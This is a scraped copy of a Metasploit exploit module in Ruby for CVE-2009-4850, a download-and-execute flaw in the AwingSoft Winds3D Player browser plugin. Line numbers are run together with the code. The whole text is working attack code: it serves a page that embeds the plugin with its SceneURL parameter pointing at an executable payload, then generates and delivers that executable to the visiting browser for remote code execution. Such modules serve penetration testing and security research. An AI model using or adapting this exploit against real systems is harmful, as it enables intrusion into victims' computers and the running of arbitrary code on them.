Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/browser/awingsoft_winds3d_sceneurl.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpServer::HTML9include Msf::Exploit::EXE1011def initialize(info = {})12super(update_info(info,13'Name' => 'AwingSoft Winds3D Player 3.5 SceneURL Download and Execute',14'Description' => %q{15This module exploits an untrusted program execution vulnerability within the16Winds3D Player from AwingSoft. The Winds3D Player is a browser plugin for17IE (ActiveX), Opera (DLL) and Firefox (XPI). By setting the 'SceneURL'18parameter to the URL to an executable, an attacker can execute arbitrary19code.2021Testing was conducted using plugin version 3.5.0.9 for Firefox 3.5 and22IE 8 on Windows XP SP3.23},24'License' => MSF_LICENSE,25'Author' =>26[27'jduck' # original discovery & metasploit module28],29'References' =>30[31[ 'CVE', '2009-4850' ],32[ 'OSVDB', '60049' ]33],34'Payload' =>35{36'Space' => 2048,37'StackAdjustment' => -3500,38},39'Platform' => 'win',40'Targets' =>41[42[ 'Automatic', { }],43],44'DisclosureDate' => '2009-11-14',45'DefaultTarget' => 0))46end4748def on_request_uri(cli, request)4950payload_url = "http://"51payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']52payload_url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/payload"5354if (request.uri.match(/payload/))55return if ((p = regenerate_payload(cli)) == nil)56data = generate_payload_exe({ :code => p.encoded })57print_status("Sending EXE payload")58send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })5960# Handle the payload61# handler(cli)62return63end6465# otherwise, send the html..66html = %Q|<html>67<body>68<object classid='clsid:17A54E7D-A9D4-11D8-9552-00E04CB09903'69codebase='http://www.awingsoft.com/zips/WindsPly.CAB'>70<param name="SceneURL" value="#{payload_url}#">71<embed type="application/x-awingsoft-winds3d" src="#{payload_url}">72</object>73|7475print_status("Sending #{self.name} HTML")76# Transmit the compressed response to the client77send_response(cli, html, { 'Content-Type' => 'text/html' })7879end80end818283